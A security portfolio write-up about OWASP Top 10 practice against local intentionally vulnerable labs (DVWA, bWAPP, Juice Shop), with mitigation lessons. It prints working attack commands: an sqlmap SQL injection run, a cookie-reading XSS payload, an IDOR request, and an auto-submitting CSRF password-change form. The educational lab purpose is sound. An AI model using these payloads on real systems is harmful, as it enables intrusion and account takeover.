ZAWAD / SECURITY / RED TEAM / OFFENSIVE SECURITY / 2
Offensive Operations (Ethical)

Web Application Security Testing

Perform web application security testing in intentionally vulnerable environments (bWAPP, Beebox, DVWA, OWASP Juice Shop).

Web application security · vulnerability assessment · lab testing

Project objective

Work through the OWASP Top 10 hands-on against four intentionally vulnerable web applications — bWAPP, bee-box, DVWA, and OWASP Juice Shop — to build practical, tool-assisted and manual testing skills for the vulnerability classes that show up most often in real web application assessments.

What I did

Each application was run locally and tested category by category, moving from automated scanning to manual verification and exploitation.

# Spin up the lab targets docker run -d -p 8080:80 raesene/bwapp docker run -d -p 3000:3000 bkimminich/juice-shop docker run -d -p 8081:80 vulnerables/web-dvwa # Baseline automated scan zap-cli quick-scan --self-contained http://localhost:8080 # Manual SQL injection (DVWA, low security) sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123; security=low" --dbs --batch # Reflected XSS proof of concept curl "http://localhost:8080/xss_get/?firstname=<script>alert(document.cookie)</script>" # IDOR check by tampering an object reference curl -s http://localhost:3000/rest/user/2 -H "Authorization: Bearer $TOKEN_USER_1" # CSRF proof-of-concept form (auto-submits on load) cat poc-csrf.html <form action="http://localhost:8081/change_password" method="POST"> <input type="hidden" name="new_password" value="pwned123"> </form> <script>document.forms[0].submit()</script>

Findings spanned classic SQL injection and reflected/stored XSS on DVWA and bWAPP, a broken access control challenge on Juice Shop solved via direct object reference tampering, and a CSRF password-change flow with no anti-CSRF token. Each was verified manually after the automated scan flagged it, since ZAP/Burp scanners produce false positives that need confirming with a working proof-of-concept.

Key learning

Automated scanners are a good starting point for coverage but consistently miss business-logic issues like IDOR and CSRF, which only show up when you think about the application from an "as another user" perspective rather than scanning payload lists against a single session. Progressing DVWA through its low → medium → high security levels was also useful for seeing exactly which mitigations (parameterized queries, output encoding, CSRF tokens) neutralize which attack, rather than treating "fix it" as a single undifferentiated step.